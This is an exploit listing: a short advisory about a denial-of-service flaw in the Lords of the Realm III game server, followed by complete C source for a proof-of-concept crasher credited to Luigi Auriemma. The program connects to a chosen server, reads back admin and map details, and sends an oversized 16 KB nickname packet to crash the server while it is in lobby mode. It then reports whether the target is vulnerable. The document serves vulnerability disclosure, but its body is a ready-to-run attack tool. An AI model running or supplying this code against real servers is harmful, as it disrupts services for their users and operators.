Impressions Games Lords of the Realm III - Nickname Remote Denial of Service

// source: https://www.securityfocus.com/bid/11223/info

A problem in the handling of nicknames is reported in the Lords of the Realm III server. Because of this, an attacker may be able to deny service to users of the game server.

The problem is in the handling of nicknames of excessive length.

It should be noted that this vulnerability only occurs when the server enters "lobby mode," which is a brief window of time before the initiation of a new game.

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <netinet/in.h>
#endif



#define VER     "0.1"
#define PORT    29901
#define BUFFSZ  16384   // BOOMSZ

#define SHOW(x) len = *(u_long *)p; \
                fputs(x, stdout); \
                p += 4; \
                while(len--) { \
                    fputc(*p, stdout); \
                    p += 2; \
                } \
                fputc('\n', stdout);



u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in     peer;
    int     sd,
            len;
    u_short port = PORT;
    u_char  buff[BUFFSZ],
            *p;


    setbuf(stdout, NULL);

    fputs("\n"
        "Lords of the Realm III <= 1.01 server crash "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <server> [port(%d)]\n"
            "\n", argv[0], PORT);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();

    printf("- target   %s:%hu\n",
        inet_ntoa(peer.sin_addr), port);
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();

    if(recv(sd, buff, BUFFSZ, 0)
      < 0) std_err();

    fputs("- informations:\n", stdout);
    if(*buff != 11) {
        p = buff + 5;
        SHOW("  Server*Admin:   ");
        p += 2;
        SHOW("  Map:            ");
    } else {
        p = buff + 24;
        SHOW("  Admin nick:     ");
    }

    *(u_long *)buff = BUFFSZ - 4;
    memcpy(buff + 4, "\x79\xff\xff\xff\xff", 5);
    *(u_long *)(buff + 9) = (BUFFSZ - 14) >> 1;
    memset(buff + 13, 'a', BUFFSZ - 14);
    buff[BUFFSZ - 1] = 0x45;

    fputs("\n- send BOOM data\n", stdout);
    if(send(sd, buff, BUFFSZ, 0)
      < 0) std_err();

    if(recv(sd, buff, BUFFSZ, 0) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem to be vulnerable\n\n", stdout);
    }

    close(sd);
    return(0);
}



u_long resolv(char *host) {
    struct  hostent *hp;
    u_long  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolve hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)(hp->h_addr);
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif